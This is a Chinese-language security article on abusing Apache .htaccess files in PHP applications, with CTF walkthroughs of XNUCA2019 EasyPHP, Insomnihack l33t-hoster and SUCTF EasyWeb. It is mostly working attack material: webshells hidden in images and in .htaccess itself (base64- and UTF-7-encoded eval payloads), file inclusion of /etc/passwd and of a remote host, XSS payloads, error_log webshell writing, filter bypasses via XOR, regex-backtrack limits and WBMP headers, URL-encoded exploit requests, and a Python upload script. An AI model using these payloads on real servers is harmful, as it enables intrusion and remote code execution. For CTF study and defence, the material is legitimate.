与 .htaccess 相关的奇淫技巧

360安全客 安全知识 118946 4

 

.htaccess

基本概念

.htaccess 文件是Apache中有一种特殊的文件，其提供了针对目录改变配置的方法，即在一个特定的文档目录中放置一个包含一条或多条指令的文件，以作用于此目录及其所有子目录。作为用户，所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。

.htaccess 中有 # 单行注释符，且支持 \ 拼接上下两行。

作用范围

.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录，但是很重要的、需要注意的是，其上级目录也可能会有 .htaccess 文件，而指令是按查找顺序依次生效的，所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令，即子目录中的指令会覆盖父目录或者主配置文件中的指令。

配置文件

启动 .htaccess，需要在服务器的主配置文件中将 AllowOverride 设置为 All，例如在 apache2.conf 中：

AllowOverride  All    # 启动.htaccess文件的使用

也可以通过 AccessFileName 将 .htaccess 修改为其他名：

AccessFileName  .config    # 将.htaccess修改为.config

 

.htaccess 常见指令

.htaccess 可以实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。这里我们主要讲解几种常利用的指令。详情请看官方文档：http://www.htaccess-guide.com/

SetHandler

SetHandler 指令可以强制所有匹配的文件被一个指定的处理器处理。

  • 用法：
SetHandler handler-name|None
  • 示例 1：
SetHandler application/x-httpd-php

此时当前目录及其子目录下所有文件都会被当做 php 解析。

  • 示例 2：
SetHandler server-status

开启 Apache 的服务器状态信息（server-status 是 Apache 自带一个查看 Apache 状态的功能模块），可以查看所有访问本站的记录：

访问任意不存在的文件，加参数 ?refresh=5 来实现每隔 5s 自动刷新。

AddHandler

AddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射。

  • 用法：
AddHandler handler-name extensive [extensive] ...
  • 示例：
AddHandler cgi-script .xxx

即将扩展名为 .xxx 的文件作为 CGI 脚本来处理。

AddType

AddType 指令可以将给定的文件扩展名映射到指定的内容类型。

  • 用法：
AddType media-type extensive [extensive] ...
  • 示例 1：
AddType application/x-httpd-php .gif

此时将会把 gif 为后缀的文件当做 php 文件解析。

  • 示例 2：
AddType application/x-httpd-php png jpg gif

此时将会把 .png .jpg .gif 多个后缀的文件当做 php 解析。

php_value

当使用 PHP 作为 Apache 模块时，可以用 Apache 的配置文件（例如 httpd.conf）或 .htaccess 文件中的指令来修改 PHP 的配置设定。但是需要有开启 AllowOverride Options 或 AllowOverride All 权限才可以。

php_value 指令用来设定指定的 PHP 的配置值。要清除先前设定的值，把 value 设为 none。但是 php_value 不能用来设定布尔值，如果要设定布尔值的话应该用 php_flag。

  • 用法：
php_value name value

但是并不是所有的 PHP 配置都可以用 php_value 来设定，如下查看配置可被设定范围：

如上图可知 .htaccess 的 php_value 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令。

  • 示例：
php_value auto_prepend_file images.png

设置访问一个 PHP 文件时，在该文件解析之前会先自动包含并解析 images.png 文件。

php_flag

php_flag 指令用来设定布尔值类型的 PHP 配置选项。

  • 用法：
php_flag name on|off

一样的，php_flag 可以设定的配置也是有范围的，如下查看配置可被设定范围：

  • 实例
php_flag engine 0

将 engine 设置为 0，即在本目录和子目录中关闭 PHP 解析，可以造成源码泄露。

 

.htaccess 的常见利用

源码泄露

我们可以通过 .htaccess 文件的 php_flag 指令对 PHP 的 engine 配置选项进行设定，当把 engine 的值设为 off（或 0）时可以禁用一个本目录和子目录中的 PHP 解析，此时将会造成源码泄露：

php_flag engine 0

这里在谷歌浏览器访问会直接显示源码（用其他浏览器访问会显示空白，还需查看源码，才可看到泄露的源码）：

图片马解析

我们知道，在文件上传漏洞中经常遇到上传图片马的情况，如果目标环境开启了 .htaccess 并且上传的黑名单没有限制 .htaccess 文件的话，我们便可以先上传 .htaccess 文件，对目标环境的目录进行相应的配置，然后再上传图片，使图片的 PHP 恶意代码得以被直接解析执行。

此时，常用的的两个 .htaccess 指令如下：

  • SetHandler 指令

我们可以使用 SetHandler 指令强制将所有匹配的文件被 PHP 处理器处理并解析：

# 将images.png 当做 php 执行
<FilesMatch "images.png">
    SetHandler application/x-httpd-php
</FilesMatch>
  • AddType 指令

也可以使用 AddType 指令将给定的文件扩展名映射到 PHP 的内容类型：

# 将 .jpg 当做 php 文件解析
AddType application/x-httpd-php .png

这两种配置都可以使我们上传的非 PHP 类型的 Webshell 被当做 PHP 直接解析：

文件包含

本地文件包含

在本目录或子目录中有可解析的 PHP 文件时，可以通过 php_value 来设置 auto_prepend_file 或者 auto_append_file 配置选项来让所有的 PHP 文件自动包含一些敏感文件或恶意文件（如WebShell），来触发文件包含。

下面 .htaccess 分别通过这两个配置选项来包含 /etc/passwd，并访问同目录下的 index.php文件。

  • auto_prepend_file
php_value auto_prepend_file /etc/passwd
  • auto_append_file
php_value auto_append_file /etc/passwd

这两个配置选项用于设置访问一个 PHP 文件时，在该 PHP 文件解析之前会先自动包含并解析的文件。如下图当我们访问 index.php 时，便会自动将 /etc/passwd 包含进来：

在实际的文件上传利用中，如果目标环境的当前目录中存在至少一个 PHP 文件且上传黑名单没有限制 .htaccess 文件的话，我们便可以上传包含以上指令的 .htaccess 文件，将我们需要读取的敏感文件包含进来并读取。

同理，我们也可以让 index.php 文件包含一个含有 Webshell 的文件来 Getshell，可用于图片马的解析：

php_value auto_prepend_file images.png
或:
php_value auto_append_file images.png

远程文件包含

PHP 的 allow_url_include 配置选项这个选项默认是关闭的，如果开启的话就可以进行远程包含。因为 allow_url_include 的配置范围为 PHP_INI_SYSTEM，所以无法利用 php_flag 指令在 .htaccess 文件中开启。这里为了演示，就先在 php.ini 中设置 allow_url_include 为 On。

.htaccess 文件中的设置为：

php_value auto_prepend_file http://192.168.0.181/phpinfo.txt
或:
php_value auto_append_file http://192.168.0.181/phpinfo.txt

远程主机上的phpinfo.txt中的内容为：

<?php phpinfo();?>

这样，最终目标主机上的php文件都会包含这个远程主机上的 phpinfo.txt 并解析执行：

任意代码执行

通过 PHP 伪协议

这里主要用的还是 auto_prepend_file 或 auto_append_file 这两个配置项。

条件：

  • allow_url_fopen 为 On
  • allow_url_include 为 On
  • 目标环境的当前目录中存在至少一个 PHP 文件
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
或:
php_value auto_append_file data://text/plian,%3c%3fphp+phpinfo()%3b%3f%3e
// 如果不使用base64加密则注意需要url编码

通过解析 .htaccess 文件

  • 方法一：通过包含 .htaccess 自身
php_value auto_append_file .htaccess
#<?php phpinfo();?>

即让所有的 PHP 文件都包含 .htaccess 文件自身：

  • 方法二：直接将 .htaccess 文件当做 PHP文件处理

这种方法适合目标环境当前目录或子目录下没有 PHP 文件的情况下。

需要先在 .htaccess 里面设置允许访问 .htaccess 文件，否则是直接访问 .htaccess 文件是Forbidden的：

<Files ~ "^.ht">
    Require all granted
    Order allow,deny
    Allow from all
</Files>

然后再设置将 .htaccess 指定当做 PHP 文件处理并解析：

SetHandler application/x-httpd-php
# <?php phpinfo();?>

最终 .htaccess 文件里面的内容为：

<Files ~ "^.ht">
    Require all granted
    Order allow,deny
    Allow from all
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo();?>

然后我们直接访问 .htaccess 文件即可把 .htaccess 文件当做 PHP 文件处理并执行里面的 PHP 代码：

进行 XSS 攻击

通过设置 highlight_file

我们可以通过 .htaccess 文件设定 highlight.comment 选项，指定需要高亮的内容，从而进行 XSS。

.htaccess中的内容

php_value highlight.comment '"><script>alert(1);</script>'

index.php中的内容为：

<?php
highlight_file(__FILE__);
// comment

当访问index.php时便会触发 XSS：

通过错误消息链接

.htaccess 中的内容：

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

index.php 中的内容为：

<?php
include('foo'); // 这里会报错

当访问index.php时便会触发 XSS：

自定义错误文件（可写Webshell）

error_log 可以将 PHP 运行报错的记录写到指定文件中，因此我们可以通过 .htaccess 文件设定 error_log 选项来自定义错误文件的存储路径，并以此来写入Webshell：

php_value error_log /var/www/html/shell.php
php_value include_path "<?php phpinfo(); __halt_compiler();"
# include_path 用来将include()的默认目录路径改变

index.php 中的内容为：

<?php
include('foo'); // 这里会报错

访问 index.php，会报错并记录在 shell.php 文件中：

如上图可见，成功将我们的phpinfo()写入了shell.php中，但是 < 等字符会经过 html 编码（如上图所示），所以我们需要用 UTF-7 编码格式来绕过。下面我们通过 [XNUCA2019Qualifier]EasyPHP 这道CTF例题来深入的探究。

[XNUCA2019Qualifier]EasyPHP

进入题目，给出源码：

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

整个代码的逻辑也比较简单，首先删除当前目录下非index.php的文件，然后 include_once("fl3g.php");，之后获取filename和content参数的值，并将content写入filename指定的文件中。其中对filename和content都有过滤，要求content中不能有on、html等关键字，且filename不能匹配到 a-z 和点号 . 以外的字符。

这道题因为看到file_put_content和unlink自然想到了条件竞争写shell，但是测试过程虽然能够写进.php文件但是不解析。

并且由于题目服务器中间件为 Apache，因此想到了传 .htaceess 利用自定义错误文件写Webshell。但我们还需要解决一下问题。

（1）使 .htaccess 生效

如果我们直接上传.htaccess文件，由于我们写入的内容会被自动在末尾加上“\nJust one chance”，所以会使我们的.htaccess文件不生效，出现响应500的问题。为了时我们写入的.htaccess文件生效，我们要采用 \ 的方式将换行符转义成普通字符，然后用 # 来注释单行了，即：

......
# \\nJust one chance

这样我们写入上传的 .htaccess 文件就能生效了。

（2）include_path

在题目的代码中有一处 include_once("fl3g.php");，但是当我们访问fl3g.php文件时却发现该文件并不存在，这里便用到了php.ini中的include_path选项。

include_path可以用来设置include()或require()函数包含文件的参考目录路径，也就是说当使用include()或require()函数包含文件的时候，程序首先以include_path设置的路径作为参考点去找文件，如果找不到，则以程序自身所在的路径为参考点去找所要的文件，如果都找不到，则出错，那么我们就可以通过修改它来控制include的路径，那么如果我们能够在其它目录写入同名的fl3g.php让其包含，那么就能够getshell，并且可以使fl3g.php文件不被删除。

（3）指定目录写文件（error_log）

前面我们已经了解了，error_log 可以将 PHP 运行报错的记录写到指定文件中，利用这一点我们可以写Webshell。 但是如何触发报错呢？这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容，这时访问页面，页面尝试将 payload 作为一个路径去访问时就会因为找不到fl3g.php而报错，并将报错记录在指定的错误文件中。

但是前面也说了，当我们传递 PHP 的 payload 时，因为我们传过去的内容会经过 html 编码，所以我们需要用 UTF-7 来绕过：

php_value include_path "+ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-"
php_value error_log /tmp/fl3g.php
# \

解题过程如下。

  • 第一步：写入 .htaccess error_log 相关的配置，将 payload 写入目标文件

将上述内容进行url编码，然后构造 url 并执行：

/index.php?filename=.htaccess&content=php_value%20include_path%20%22%2BADw%3Fphp%20eval(%2BACQAXw-POST%2BAFs-whoami%2BAF0)%2BADs%3F%2BAD4-%22%0Aphp_value%20error_log%20%2Ftmp%2Ffl3g.php%0A%23%20%5C

  • 第二步：访问 index.php 触发报错留下 error_log
  • 第三步：写入 .htaccess 新的配置，将 include_path 选项设定为刚才生成的fl3g.php的目录,并配置解析的编码为 UTF-7
php_value include_path "/tmp"
php_fl\    # 这里使用\加换行的方式绕过对"flag"的过滤, 即php_flag zend.multibyte 1
ag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

将上述内容进行url编码，然后构造 url 并执行：

/index.php?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%22%0Aphp_fl%5C%0Aag%20zend.multibyte%201%0Aphp_value%20zend.script_encoding%20%22UTF-7%22%0A%23%20%5C

  • 第四步：构造如下读取flag
POST: whoami=system('cat /flag');

如上图所示，成功执行命令并得到flag。

这个题也可以用通过包含 .htaccess 自身的方法Getshell：

php_value auto_prepend_fi\
le ".htaccess"
#<?php @eval($_GET['cmd']); ?>\

正则回朔绕过正则匹配

《PHP利用PCRE回溯次数限制绕过某些安全限制》 这篇文章中提到了一个正则回朔绕过 preg_match 检测的方法。即 PHP 的配置选项 pcre.backtrack_limit 给 pcre 设定了一个回溯次数上限，默认为1000000，如果回溯次数超过这个数字，preg_match 会返回false，我们可以通过这一点来绕过 preg_match 等函数正则匹配的检测。

由于 .htaccess 可以设定 PHP 的配置选项，那我们便可以将 pcre.backtrack_limit 设为 0 ，从而利用这个漏洞：

php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \

我们还是通过刚才那个 CTF 例题来看一下具体的利用过程。

进入题目，给出源码：

<?php
    ......
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    ......
    file_put_contents($filename, $content . "\nJust one chance");
?>

可以看到代码中的 preg_match 使用正则匹配限制filename只能是 a-z 和点号 . ，那我们便可以通过写入 .htaccess 设置回溯次数（pcre.backtrack_limit）为 0，从而绕过这里的正则回溯，直接将我们的Webshell写入fl3g.php。

首先将 pcre.backtrack_limit 的配置写入 .htaccess：

/index.php?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0Aphp_value%20pcre.jit%200%0A%23%20%5C

然后访问以下 url 将 Webshell 写入fl3g.php：

/index.php?filename=fl3g.php&content=<?php phpinfo();?>

执行后可以发现，成功将Webshell写入了fl3g.php：

绕过 <? 特殊字符

有时候，目标环境会限制我们上传或写入的文件内容中不能存在 <? 等特殊字符，如果没有限制 .htaccess 的话，我们同样可以使用 .htaccess 来绕过。

Base64 编码绕过

主要就是利用 auto_append_file 和 PHP 伪协议，比如我们在一个图片中写入经过base64编码后的 Webshell，然后我们便可以使用 auto_append_file 配合 php://filter 将其包含进来：

php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"

# images.png 中是经过base64编码后的Webshell

我们直接使用data://协议也是可以的，这样就不需要上传 images.png 了：

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

UTF-7 编码格式绕过

这种方法我们在前文中已经涉及到了，比如我们在一个图片中写入 UTF-7 编码格式的 Webshell：

// images.png
+ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-

然后我们使用 auto_append_file 将其包含进来并设置编码格式为 UTF-7 就行了：

php_value auto_append_file images.png
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

当然，也可以使用 php://filer 伪协议进行 UTF-7 与 UTF-8 之间的转换，即：

php_value auto_append_file "php://filter/read=convert.iconv.utf-7.utf-8/resource=images.png"

也可以使用 .htaccess 自身包含来执行 Webshell，这样就不需要再上传一个 images.png 了：

php_value auto_append_file .htaccess
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# +ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-

同理，除了使用 UTF-7 外，UTF-16、UTF-32 都可以使用，方法都是一样的。

 

与 .htaccess 相关的几个 Bypass

与 .htaccess 相关限制除了使用黑名单限制 .htaccess 外，最常见的就是限制关键字以及加入脏字符啥的了。

绕过关键字过滤

绕过对关键字的过滤我们可以使用反斜杠 \ 加换行来实现。比如题目过滤了 type、php 等敏感字符，此时为了利用 .htaccess 解析图片马，我们需要将 .htaccess 写成这样：

AddTy\
pe application/x-httpd-ph\
p .png

# 即: AddType application/x-httpd-php .png

绕过脏字符

上面的 [XNUCA2019Qualifier]EasyPHP 这道题目已经涉及到了。即有时候，题目会在我们上传或写入的文件中加入一个混乱的字符（脏字符），由于这些字符不是 .htaccess 文件的语法或指令，所以会使我们的.htaccess文件不生效，出现响应500的问题。为了时我们写入的 .htaccess 文件生效，我们要采用 # 对脏字符进行注释，或使用反斜杠 \ 将换行符转义成普通字符。

绕过对上传图片的尺寸限制

有时候，在图片上传区会使用 getimagesize() 等函数对上传的图片进行尺寸限制，只允许上传指定大小尺寸的图片，并且会使用 exif_imagetype() 函数读取第一个字节并检查其图片类型。此时如果可以上传 .htaccess 来解析图片的话我们还需要让 .htaccess 的尺寸和经过 exif_imagetype() 检测后的结果符合题目要求。

我们可以使用 exif_imagetype() 函数支持的 WBMP 图像类型进行绕过。WBMP（Wireless Bitmap）是一种移动计算机设备使用的标准图像格式，是一种纯文本二进制图像格式的图片，实例如下：

#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

可以看到 WBMP 图像的开头可以使用 # 设置图像的尺寸大小，这正符合我们的要求。所以假设题目限制我们上传的图片尺寸必须为1337×1337，那么我们在上传.htaccess时便可以用 WBMP 来绕过，例如：

#define width 1337
#define height 1337
AddType application/x-httpd-php images.png

[Insomnihack Teaser 2019 Web]l33t-hoster

进入题目，是一个上传页面：

访问 /?source 得到源码：

<?php
if (isset($_GET["source"])) 
    die(highlight_file(__FILE__));

session_start();

if (!isset($_SESSION["home"])) {
    $_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
    mkdir($userdir);
}

$disallowed_ext = array(
    "php",
    "php3",
    "php4",
    "php5",
    "php7",
    "pht",
    "phtm",
    "phtml",
    "phar",
    "phps",
);


if (isset($_POST["upload"])) {
    if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
        die("yuuuge fail");
    }

    $tmp_name = $_FILES["image"]["tmp_name"];    // 临时文件名
    $name = $_FILES["image"]["name"];    // 文件名
    $parts = explode(".", $name);
    $ext = array_pop($parts);    // 后缀

    if (empty($parts[0])) {
        array_shift($parts);
    }

    if (count($parts) === 0) {
        die("lol filename is empty");
    }

    if (in_array($ext, $disallowed_ext, TRUE)) {    // 可用大小写绕过文件后缀
        die("lol nice try, but im not stupid dude...");
    }

    $image = file_get_contents($tmp_name);
    if (mb_strpos($image, "<?") !== FALSE) {    // 文件内容中不能存在<?
        die("why would you need php in a pic.....");
    }

    if (!exif_imagetype($tmp_name)) {
        die("not an image.");
    }

    $image_size = getimagesize($tmp_name);
    if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {    // 限制了图片的尺寸必须为 1337x1337
        die("lol noob, your pic is not l33t enough");
    }

    $name = implode(".", $parts);
    move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}

echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
    echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";

?>

阅读源码可知，题目限制了上传的图片的内容不能存在 <?，我们可以使用编码绕过；限制了上传图片的尺寸必须为 1337×1337，我们可以直接使用 WBMP 绕过。

首先上传图片马 images.png，里面内容如下：

#define width 1337
#define height 1337
APD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=

// <?php eval($_POST[whoami]);?>

然后上传我们的 .htaccess 解析图片马即可：

#define width 1337
#define height 1337
AddType application/x-httpd-php images.png    # 将images.png解析为 PHP 文件
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"

[SUCTF 2019]EasyWeb

进入题目，给出源码：

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

我们将代码分为两部分。

第一部分绕过：

$hhh = @$_GET['_'];
......
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');
......
eval($hhh);

这一块好绕过，直接异或绕过正则匹配，来拼接出 payload：

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

// %ff%ff%ff%ff^%a0%b8%ba%ab 异或结果为$_GET，{$_GET}{%ff}

如上图，phpinfo()函数执行成功，那我们就可以用这个payload来调用他题目中定义的get_the_flag()函数了，即：

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

就此绕过第一段。

第二部分绕过：

function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

代码的逻辑是文件上传，过滤了文件后缀，不能出现“ph”，看来只能上传图片马配合 .htaccess 了，且 exif_imagetype 判断一个图像的类型，读取一个图像的第一个字节并检查其签名，所以我们图片马的开头要加上GIF89a，还有就是图片马文件内容中不能有“<?”。

接下来我们制作图片马，由于图片马文件内容中不能有 <?，所以我们要用编码绕过：

GIF98a12PD9waHAgZXZhbCgkX1BPU1RbJ3dob2FtaSddKTs/Pg==

所以我们 .htaccess 文件的内容为：

#define width 1337
#define height 1337
AddType application/x-httpd-php .gif
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_d99081fe929b750e0557f85e6499103f/shell.gif"

最后，我们编写脚本，一键化上传图片马和.htaccess：

import requests

url = "http://2eebfa72-c0ca-4331-a85a-dd3878052073.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
shell = {"file":('images.gif',open('images.gif','rb'),'image/gif')}
r = requests.post(url=url,files=shell)
print(r.text)

htaccess = {"file":('.htaccess',open('.htaccess','rb'),'image/gif')}
r2 = requests.post(url=url,files=htaccess)
print(r2.text)

成功上传后使用蚁剑成功连接images.gif：

参考：
https://xz.aliyun.com/t/8267
https://www.jianshu.com/p/02a915d77654
https://www.cnblogs.com/anbuxuan/p/11867129.html

（完）